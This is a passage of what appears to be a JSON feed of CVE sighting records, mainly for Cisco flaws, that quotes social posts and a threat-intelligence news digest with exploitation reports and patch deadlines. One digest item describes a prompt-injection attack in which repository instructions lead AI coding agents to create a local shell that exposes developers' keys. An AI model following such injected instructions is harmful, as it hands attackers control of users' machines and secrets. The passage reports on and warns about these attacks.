- In Splunk BO Toolkit versions below 5.7.4, a user who holds the \"admin\" Splunk role could execute arbitrary OS commands on the host running the Splunk... https://www.potatohub.blog/cves/CVE-2026-20266", "creation_timestamp": "2026-06-29T04:07:15.073698Z"}, {"uuid": "0f88284c-cc10-4e3d-a41d-ec456214b429", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20181", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mpfo3fglay2w", "content": "\ud83d\udccc CVE-2026-20181 - A vulnerability in Cisco ISE and ISE-PIC could allow an authenticated, remote attacker to execute arbitrary commands on the underlying operating syste... https://www.cyberhub.blog/cves/CVE-2026-20181", "creation_timestamp": "2026-06-29T04:37:07.654435Z"}, {"uuid": "beb6ef0a-d3a7-4ef0-a0ee-2ad2fe15d611", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mpfphumkjj2p", "content": "Daily IT Security Digest \u2014 2026-06-29\nmarking one of the biggest Japanese data breaches this year. [Source](https://infosec.exchange/@DevaOnBreaches/116830125383237436)\n\n## 3. Cisco Catalyst SD-WAN Manager Zero-Day Exploited In the Wild (CVE-2026-20262)\nMandiant reported active exploitation of a", "creation_timestamp": "2026-06-29T05:01:58.992259Z"}, {"uuid": "5d9896d1-c2a0-4166-818b-246832885dfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20230", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mpg37n4b3722", "content": "\ud83d\udcf0 CISA Tetapkan Tenggat Waktu Darurat untuk Perbaiki Celah Keamanan Cisco dan PTC Windchill yang Dieksploitasi Peretas\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/06/29/cisa-sets-urgent-deadline-to-fix-cisco-and-ptc-flaws/\n\n#cisa #cisco #cve-2026-12569 #cve-2026-20230 #defusedT", "creation_timestamp": "2026-06-29T08:32:07.858103Z"}, {"uuid": "3e354807-aab3-44e6-ac36-4276556dbbac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20338", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0992", "content": "", "creation_timestamp": "2026-08-13T08:45:06.307577Z"}, {"uuid": "6c5d0c35-7d9e-49fb-b16c-e82e9a9f56b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3msxase2ht32l", "content": "Cisco has reported a high-severity vulnerability (CVE-2026-20349, CVSS 8.6) in Secure Firewall ASA and FTD Software, exploited in the wild. The flaw allows unauthenticated remote attackers to trigger a denial-of-service (DoS) by sending crafted HTTP requests. Affected versions include ASA 9.16, 9.", "creation_timestamp": "2026-08-13T08:42:55.886462Z"}, {"uuid": "124a05b6-3ad5-4b0e-934d-4de27f2b4146", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20200", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/actualite/CERTFR-2026-ACT-034", "content": "", "creation_timestamp": "2026-08-13T08:45:22.302535Z"}, {"uuid": "9bdb9dd1-b61e-4a76-8055-92bdadc33d74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20348", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0992", "content": "", "creation_timestamp": "2026-08-13T08:45:28.934010Z"}, {"uuid": "68acbdf5-bd23-44d0-99a6-ba75fa27575b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20347", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0992", "content": "", "creation_timestamp": "2026-08-13T08:45:13.305853Z"}, {"uuid": "8e8015d6-0cfb-4fce-9d41-9886437b5b0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "exploited", "source": "Telegram/dSrnzGW7PJWm1-o5QSIlJBHISw5I5PSeqCYvXc80nNNV9w", "content": "", "creation_timestamp": "2026-08-15T00:00:48.811386Z"}, {"uuid": "5889e40a-6410-45bf-81f1-3d415b8bdbfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mpgf5lw4lx2j", "content": "Unseen threat actor exploited a high-severity Cisco Catalyst SD-WAN flaw (CVE-2026-20245) as a zero-day 2+ months before disclosure, risking remote command execution with elevated privileges.", "creation_timestamp": "2026-06-29T11:29:57.233698Z"}, {"uuid": "284d2117-6daf-4750-b5f3-4cccbd5f4837", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpggmohj722b", "content": "Exploitation started in March. Cisco disclosed in June. Patch landed June 10.\n\nFor roughly 2 months, whoever had working knowledge of CVE-2026-20245 used it freely. Defenders had no advisory, no patch, no signal.\n\nMatei Badanoiu, our lead security researcher, put it plainly in Infosecurity Magazine:", "creation_timestamp": "2026-06-29T11:56:19.291260Z"}, {"uuid": "c96fe782-d747-4805-9d11-a94ab855e821", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpggmohj722b", "content": "That prerequisite sounds like a meaningful bar - and it is - until you factor in that CVE-2026-20182 & CVE-2026-20127 (also recently disclosed Cisco flaws) may lower it *considerably*.", "creation_timestamp": "2026-06-29T11:56:19.733217Z"}, {"uuid": "7138e5bb-1166-413e-82ac-1755c933ff6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpggmohj722b", "content": "That prerequisite sounds like a meaningful bar - and it is - until you factor in that CVE-2026-20182 & CVE-2026-20127 (also recently disclosed Cisco flaws) may lower it *considerably*.", "creation_timestamp": "2026-06-29T11:56:19.800362Z"}, {"uuid": "d9370345-96fa-4aff-9e10-86bff7226e99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpggmohryc2b", "content": "Exploitation started in March. Cisco disclosed in June. Patch landed June 10.\n\nFor roughly 2 months, whoever had working knowledge of CVE-2026-20245 used it freely. Defenders had no advisory, no patch, no signal.\n\nMatei Badanoiu, our lead security researcher, put it plainly in Infosecurity Magazine:", "creation_timestamp": "2026-06-29T11:56:20.235505Z"}, {"uuid": "4adc1697-d93d-47b4-b284-3459615368d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpggmohryc2b", "content": "That prerequisite sounds like a meaningful bar - and it is - until you factor in that CVE-2026-20182 & CVE-2026-20127 (also recently disclosed Cisco flaws) may lower it *considerably*.", "creation_timestamp": "2026-06-29T11:56:20.712591Z"}, {"uuid": "ae486000-4d00-4b97-9cf4-1d745902da42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpggmohryc2b", "content": "That prerequisite sounds like a meaningful bar - and it is - until you factor in that CVE-2026-20182 & CVE-2026-20127 (also recently disclosed Cisco flaws) may lower it *considerably*.", "creation_timestamp": "2026-06-29T11:56:20.765530Z"}, {"uuid": "6c62bd6f-56bd-4db2-9cba-d8f13c236a19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpggmohtws2b", "content": "Exploitation started in March. Cisco disclosed in June. Patch landed June 10.\n\nFor roughly 2 months, whoever had working knowledge of CVE-2026-20245 used it freely. Defenders had no advisory, no patch, no signal.\n\nMatei Badanoiu, our lead security researcher, put it plainly in Infosecurity Magazine:", "creation_timestamp": "2026-06-29T11:56:21.214503Z"}, {"uuid": "b0b456f5-64c8-4aad-b000-2503ef8b8298", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpggmohtws2b", "content": "That prerequisite sounds like a meaningful bar - and it is - until you factor in that CVE-2026-20182 & CVE-2026-20127 (also recently disclosed Cisco flaws) may lower it *considerably*.", "creation_timestamp": "2026-06-29T11:56:21.703177Z"}, {"uuid": "9293b44b-00a4-4fb8-a14f-48cf3d3c4264", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpggmohtws2b", "content": "That prerequisite sounds like a meaningful bar - and it is - until you factor in that CVE-2026-20182 & CVE-2026-20127 (also recently disclosed Cisco flaws) may lower it *considerably*.", "creation_timestamp": "2026-06-29T11:56:21.757795Z"}, {"uuid": "15f3d29a-c92c-4f40-92b1-3202ec929599", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpggmohtwt2b", "content": "Exploitation started in March. Cisco disclosed in June. Patch landed June 10.\n\nFor roughly 2 months, whoever had working knowledge of CVE-2026-20245 used it freely. Defenders had no advisory, no patch, no signal.\n\nMatei Badanoiu, our lead security researcher, put it plainly in Infosecurity Magazine:", "creation_timestamp": "2026-06-29T11:56:22.197448Z"}, {"uuid": "02072a71-f108-4e69-ae6c-b27f6cb1c5e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpggmohtwt2b", "content": "That prerequisite sounds like a meaningful bar - and it is - until you factor in that CVE-2026-20182 & CVE-2026-20127 (also recently disclosed Cisco flaws) may lower it *considerably*.", "creation_timestamp": "2026-06-29T11:56:22.658836Z"}, {"uuid": "f836448b-3ab5-4ace-87d9-dd655ac6b573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpggmohtwt2b", "content": "That prerequisite sounds like a meaningful bar - and it is - until you factor in that CVE-2026-20182 & CVE-2026-20127 (also recently disclosed Cisco flaws) may lower it *considerably*.", "creation_timestamp": "2026-06-29T11:56:22.703087Z"}, {"uuid": "b5b994e4-0e37-4174-8154-e2c5da04d2c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpggmohvvd2b", "content": "Exploitation started in March. Cisco disclosed in June. Patch landed June 10.\n\nFor roughly 2 months, whoever had working knowledge of CVE-2026-20245 used it freely. Defenders had no advisory, no patch, no signal.\n\nMatei Badanoiu, our lead security researcher, put it plainly in Infosecurity Magazine:", "creation_timestamp": "2026-06-29T11:56:23.113788Z"}, {"uuid": "d4352911-845b-4430-bd94-861ce1a2edf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpggmohvvd2b", "content": "That prerequisite sounds like a meaningful bar - and it is - until you factor in that CVE-2026-20182 & CVE-2026-20127 (also recently disclosed Cisco flaws) may lower it *considerably*.", "creation_timestamp": "2026-06-29T11:56:23.570732Z"}, {"uuid": "8be4bd21-8ddf-4a7b-94b4-e5f632d806dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpggmohvvd2b", "content": "That prerequisite sounds like a meaningful bar - and it is - until you factor in that CVE-2026-20182 & CVE-2026-20127 (also recently disclosed Cisco flaws) may lower it *considerably*.", "creation_timestamp": "2026-06-29T11:56:23.616235Z"}, {"uuid": "5cb197d6-2975-4a50-ab34-8f1c7d1217c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpggmohwul2b", "content": "Exploitation started in March. Cisco disclosed in June. Patch landed June 10.\n\nFor roughly 2 months, whoever had working knowledge of CVE-2026-20245 used it freely. Defenders had no advisory, no patch, no signal.\n\nMatei Badanoiu, our lead security researcher, put it plainly in Infosecurity Magazine:", "creation_timestamp": "2026-06-29T11:56:24.016324Z"}, {"uuid": "bf428a9a-914e-47c4-81bb-6c06a53133aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpggmohwul2b", "content": "That prerequisite sounds like a meaningful bar - and it is - until you factor in that CVE-2026-20182 & CVE-2026-20127 (also recently disclosed Cisco flaws) may lower it *considerably*.", "creation_timestamp": "2026-06-29T11:56:24.457223Z"}, {"uuid": "e70337d8-17a3-4a4c-87bd-cdc34570b727", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpggmohwul2b", "content": "That prerequisite sounds like a meaningful bar - and it is - until you factor in that CVE-2026-20182 & CVE-2026-20127 (also recently disclosed Cisco flaws) may lower it *considerably*.", "creation_timestamp": "2026-06-29T11:56:24.523271Z"}, {"uuid": "ca55eb21-8bac-401e-bd32-1f860a373aa1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mpggudv6x32m", "content": "\ud83d\udd0d Top signals this week:\n\nCVEs: CVE-2026-20230, CVE-2026-12569, CVE-2026-8461, CVE-2026-20245, CVE-2025-25205\nActors: Play, Ransomware, Apt\n\nFull intel: https://matlock.ca/cybersecnews", "creation_timestamp": "2026-06-29T12:00:33.794101Z"}, {"uuid": "5de3a46e-ae24-4f71-90e3-4c4a736eb236", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mpggudv6x32m", "content": "\ud83d\udd0d Top signals this week:\n\nCVEs: CVE-2026-20230, CVE-2026-12569, CVE-2026-8461, CVE-2026-20245, CVE-2025-25205\nActors: Play, Ransomware, Apt\n\nFull intel: https://matlock.ca/cybersecnews", "creation_timestamp": "2026-06-29T12:00:33.934227Z"}, {"uuid": "4c3750f6-8559-4be3-b82a-f9107f805f25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3mpgjqromsk2y", "content": "Cisco SD-WAN CVE-2026-20262 hits KEV deadline today with useful hunt artifacts: suspicious WAR upload/deploy logs and JSP POST activity. Forecast: stolen edge creds + authenticated mgmt-plane bugs are the next high-ROI combo.", "creation_timestamp": "2026-06-29T12:52:17.203971Z"}, {"uuid": "5b67ee51-5f9c-43c1-9657-186d65426f1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3mpgjqroros2y", "content": "Cisco SD-WAN CVE-2026-20262 hits KEV deadline today with useful hunt artifacts: suspicious WAR upload/deploy logs and JSP POST activity. Forecast: stolen edge creds + authenticated mgmt-plane bugs are the next high-ROI combo.", "creation_timestamp": "2026-06-29T12:52:18.089155Z"}, {"uuid": "9235bb58-25fc-4a12-97a6-d6ce7d17c5b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3mpgjqroso22y", "content": "Cisco SD-WAN CVE-2026-20262 hits KEV deadline today with useful hunt artifacts: suspicious WAR upload/deploy logs and JSP POST activity. Forecast: stolen edge creds + authenticated mgmt-plane bugs are the next high-ROI combo.", "creation_timestamp": "2026-06-29T12:52:18.998675Z"}, {"uuid": "63f1bd2d-94d7-41e0-b5a8-9d1c2cd5674d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/alphahunt.io/post/3mpgjqroso32y", "content": "Cisco SD-WAN CVE-2026-20262 hits KEV deadline today with useful hunt artifacts: suspicious WAR upload/deploy logs and JSP POST activity. Forecast: stolen edge creds + authenticated mgmt-plane bugs are the next high-ROI combo.", "creation_timestamp": "2026-06-29T12:52:19.872614Z"}, {"uuid": "bcb06b07-264a-4066-8d76-4cbac65aec37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://threatintel.cc/2026/06/29/threat-intel.html", "content": "1. FBI Warns Russian Intelligence Hackers Target Signal Backup Recovery Keys\n\n\n\nOriginal URL: [https://thehackernews.com/2026/06/fbi-warns-russian-intelligence-hackers.html](https://thehackernews.com/2026/06/fbi-warns-russian-intelligence-hackers.html)\n\nSummary: The FBI and CISA have issued an updated advisory warning that Russian state-sponsored threat groups (including UNC5792 and UNC4221) are actively targeting Signal messaging accounts via credential-phishing campaigns. Attackers are using social engineering to trick users into revealing their Signal Backup Recovery Keys, which allows the adversaries to permanently hijack accounts, restore complete message histories, and continue monitoring communication even if a user attempts to recreate their account. To mitigate this threat, users must generate a completely new recovery key within their Signal security settings, an action that instantly revokes the access privileges of any previously compromised keys.\n\nKeywords: #CyberSecurity #SignalApp #Phishing #Infosec #CISA #FBI #RussianHackers #DataPrivacy #ThreatIntelligence\n\n\n2. Self-Destructing Mistic Backdoor Linked to Access Broker Selling Corporate Footholds\n\n\n\nOriginal URL: [https://www.theregister.com/security/2026/06/25/self-destructing-mistic-backdoor-linked-to-access-broker-selling-corporate-footholds-to-ransomware-gangs/](https://www.theregister.com/security/2026/06/25/self-destructing-mistic-backdoor-linked-to-access-broker-selling-corporate-footholds-to-ransomware-gangs/)\n\nSummary: A newly discovered, highly evasive backdoor known as “Mistic” (or MLTBackdoor) is being deployed across multiple corporate networks, including organizations within the IT, insurance, and education sectors. Security researchers from Symantec, Carbon Black, and Zscaler have linked the malware to a financially motivated initial access broker tracked as KongTuke (or Woodgnat), who specializes in establishing early network footprints to sell to ransomware syndicates. Mistic stands out due to its built-in self-destruction mechanisms, which erase its tracks following initial deployment to complicate forensic investigations while facilitating lateral movement within target environments.\n\nKeywords: #Malware #Ransomware #InitialAccessBroker #MisticBackdoor #ThreatHunting #EnterpriseSecurity #Infosec #CyberCrime\n\n\n3. CISA Sets Urgent Deadline to Fix Cisco Flaw Exploited in Attacks\n\n\n\nOriginal URL: [https://www.bleepingcomputer.com/news/security/cisa-sets-urgent-deadline-to-fix-cisco-flaw-exploited-in-attacks/](https://www.bleepingcomputer.com/news/security/cisa-sets-urgent-deadline-to-fix-cisco-flaw-exploited-in-attacks/)\n\nSummary: The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added a critical Cisco flaw to its Known Exploited Vulnerabilities catalog, imposing an urgent patching deadline for federal agencies. The vulnerability, tracked as CVE-2026-20230, is a critical server-side request forgery (SSRF) flaw in the Cisco Unified Communications Manager Server that permits unauthenticated, remote attackers to execute malicious actions via custom HTTP requests. While Cisco initially patch-released the flaw with no evidence of active exploits, threat detection firm Defused recently caught threat actors actively leveraging the vulnerability to write arbitrary text files directly onto vulnerable network endpoints.\n\nKeywords: #Cisco #Vulnerability #PatchTuesday #CISA #KEV #SSRF #NetworkSecurity #ITSecurity #FederalCyber\n\n\n4. New Initiative Tackles Security for End-of-Life Open Source Software\n\n\n\nOriginal URL: [https://www.darkreading.com/application-security/initiative-tackles-security-end-of-life-open-source](https://www.darkreading.com/application-security/initiative-tackles-security-end-of-life-open-source)\n\nSummary: The Commonhaus Foundation has officially introduced the Open Source Sustainability Initiative (OSSI) to confront the systemic security risks associated with abandoned and end-of-life (EOL) open-source projects. Because standard enterprises utilize hundreds of open-source dependencies, managing security patches becomes highly error-prone once development teams stop maintaining original repositories. The OSSI aims to establish a structured, collaborative framework to track, secure, and retroactively patch vulnerable code in widely used legacy projects, minimizing the attack surface for enterprise supply chains.\n\nKeywords: #OpenSource #SoftwareSupplyChain #AppSec #Commonhaus #OSSI #CyberResilience #VulnerabilityManagement #EnterpriseSoftware\n\n\n5. Clean GitHub Repo Tricks AI Coding Agents Into Running Malware\n\n\n\nOriginal URL: [https://www.bleepingcomputer.com/news/security/clean-github-repo-tricks-ai-coding-agents-into-running-malware/](https://www.bleepingcomputer.com/news/security/clean-github-repo-tricks-ai-coding-agents-into-running-malware/)\n\nSummary: Security researchers at Mozilla’s Zero Day Investigative Network (0DIN) have demonstrated a novel prompt injection attack vector that completely bypasses code scanners by tricking AI coding assistants into generating and running local malware. Instead of containing malicious code, the target GitHub repository remains entirely clean; instead, it relies on indirect prompt instructions that manipulate the AI agent during setup into creating an unintended local vulnerability. Once executed by an automated tool like Claude Code, the attack grants the adversary a localized terminal shell functioning with the host developer’s system privileges, giving them direct access to local API keys, environment variables, and files.\n\nKeywords: #AISecurity #GitHub #PromptInjection #LLM #ArtificialIntelligence #SoftwareDevelopment #DevSecOps #Mozilla #0DIN\n\n\n6. Microsoft Removes 119 Edge Extensions That Hid Malware in Images and Fonts\n\n\n\nOriginal URL: [https://thehackernews.com/2026/06/microsoft-removes-119-edge-extensions.html](https://thehackernews.com/2026/06/microsoft-removes-119-edge-extensions.html)\n\nSummary: Microsoft has shut down a long-running malicious extension operation on the Edge Add-ons store that hid its payloads inside ordinary image and font files, then woke up days after install to steal credentials and run ad fraud. The company calls it StegoAd, a mash-up of steganography and adware, and ties 119 extensions to a single threat actor it says has been active since at least 2021. The extensions were disguised as common utilities like ad blockers, VPNs, and translators, which performed their stated tasks to gain positive reviews while remaining dormant until clearing evasion checks.\n\nKeywords: #Malware #BrowserExtensions #Steganography #MicrosoftEdge #AdFraud #CredentialTheft #SupplyChainAttack #Infosec\n\n\n7. Hijacked npm and Go Packages Use VS Code Tasks to Deploy Python Infostealer\n\n\n\nOriginal URL: [https://thehackernews.com/2026/06/hijacked-npm-and-go-packages-use-vs.html](https://thehackernews.com/2026/06/hijacked-npm-and-go-packages-use-vs.html)\n\nSummary: Cybersecurity researchers have uncovered a new ecosystem supply chain attack involving hijacked npm and Go packages designed to deploy a Python-based information stealer on compromised Windows, Linux, and macOS hosts. To evade the typical script detection mechanisms implemented to harden security registries, the malware strategically avoids common execution paths and hides its initialization logic inside an automatic Microsoft Visual Studio Code workspace configuration file. Once a developer simply opens the project directory inside their IDE, the hidden task triggers automatically, fetching malicious code from blockchain records and granting the threat actors a direct command shell.\n\nKeywords: #SupplyChainAttack #Malware #VSCode #DeveloperSecurity #Python #npm #GoLang #Infostealer #DevSecOps\n\n\n8. US Seizes Hundreds of FIFA World Cup Illegal Streaming Domains\n\n\n\nOriginal URL: [https://www.bleepingcomputer.com/news/security/us-seizes-hundreds-of-fifa-world-cup-illegal-streaming-domains/](https://www.bleepingcomputer.com/news/security/us-seizes-hundreds-of-fifa-world-cup-illegal-streaming-domains/)\n\nSummary: The U.S. Department of Justice has executed a massive coordinated enforcement action dubbed “Operation Offsides,” seizing nearly 400 web domains that were providing illegal, real-time streams of World Cup soccer matches. Working alongside law enforcement networks across Peru, Bulgaria, Croatia, Romania, Poland, and Colombia, federal agents targeted infrastructure that infringed on global broadcasting copyright protections. Beyond media piracy, Homeland Security Investigations (HSI) warned that these unauthorized streaming platforms aggressively expose users to hidden drive-by malware infections and insecure browser connections engineered to harvest financial details.\n\nKeywords: #DomainSeizure #CyberCrime #LawEnforcement #DOJ #WorldCup #Malware #CopyrightInfringement #Piracy\n\n\n9. Active Phishing Campaign Exploits Calendly and Photo ZIP Files to Target Hotels\n\n\n\nOriginal URL: [https://www.rescana.com/post/klue-supply-chain-breach-exposes-oauth-tokens-and-salesforce-data-in-multi-stage-cybersecurity-incident-june-2026](https://www.rescana.com/post/klue-supply-chain-breach-exposes-oauth-tokens-and-salesforce-data-in-multi-stage-cybersecurity-incident-june-2026)\n\nSummary: Microsoft has issued an active alert to the global hospitality sector warning of a coordinated phishing campaign that abuses common scheduling applications like Calendly to drop dangerous Node.js malware. Attackers are posing as prospective corporate clients or wedding parties to schedule appointments, leveraging the booking platforms to share highly realistic compressed “photo archives” containing malicious configuration files. Once executed by unsuspecting hotel booking agents, the payload installs a flexible Node.js infostealer designed to bypass memory protections, sweep web browser caches, and extract corporate credit card data.\n\nKeywords: #Phishing #Malware #HospitalitySector #Calendly #NodeJS #SocialEngineering #DataTheft #MicrosoftSecurity\n\n\n10. Klue Supply Chain Breach Exposes OAuth Tokens and Salesforce Data\n\n\n\nOriginal URL: [https://www.rescana.com/post/klue-supply-chain-breach-exposes-oauth-tokens-and-salesforce-data-in-multi-stage-cybersecurity-incident-june-2026](https://www.rescana.com/post/klue-supply-chain-breach-exposes-oauth-tokens-and-salesforce-data-in-multi-stage-cybersecurity-incident-june-2026)\n\nSummary: A significant multi-stage supply chain breach has compromised the market intelligence SaaS platform Klue, leading to the unauthorized collection of active OAuth tokens and data exfiltration impacting approximately 200 client organizations. A threat group identified as Icarus gained initial entry by exploiting an inactive legacy administrative credential to inject malicious code directly into Klue’s core synchronization infrastructure. Armed with the stolen OAuth access tokens, the threat actors systematically pivoted to download sensitive CRM records from client environments, subsequently posting the data on a Tor leak site for double-extortion.\n\nKeywords: #SupplyChainAttack #OAuth #DataBreach #Salesforce #SaaS #ThreatIntelligence #Extortion #CloudSecurity\n\n\n11. Amazon Q Developer Extension Flaw Enables Cloud Credential Theft\n\n\n\nOriginal URL: [https://cisoseries.com/cybersecurity-news-cisas-cisco-deadline-chinas-mythos-competitor-amazon-q-flaw/](https://cisoseries.com/cybersecurity-news-cisas-cisco-deadline-chinas-mythos-competitor-amazon-q-flaw/)\n\nSummary: Security researchers at Wiz have publicly disclosed a high-severity flaw within Amazon\u2019s Q Developer AI-assisted coding extension for Visual Studio Code that opens developers up to immediate cloud credential theft. The underlying vulnerability stems from the extension’s behavior of automatically evaluating workspace configuration parameters without checking for manual user authorization when a new project folder is initialized. By enticing software engineers to clone an intentionally booby-trapped repository, attackers can force the IDE extension to execute automated system commands in the background to harvest local cloud access keys.\n\nKeywords: #AmazonQ #Wiz #Vulnerability #CloudSecurity #AISecurity #VSCode #DevSecOps #CredentialTheft\n\n\n12. Qihoo 360 Announces Tulongfeng Multi-Agent 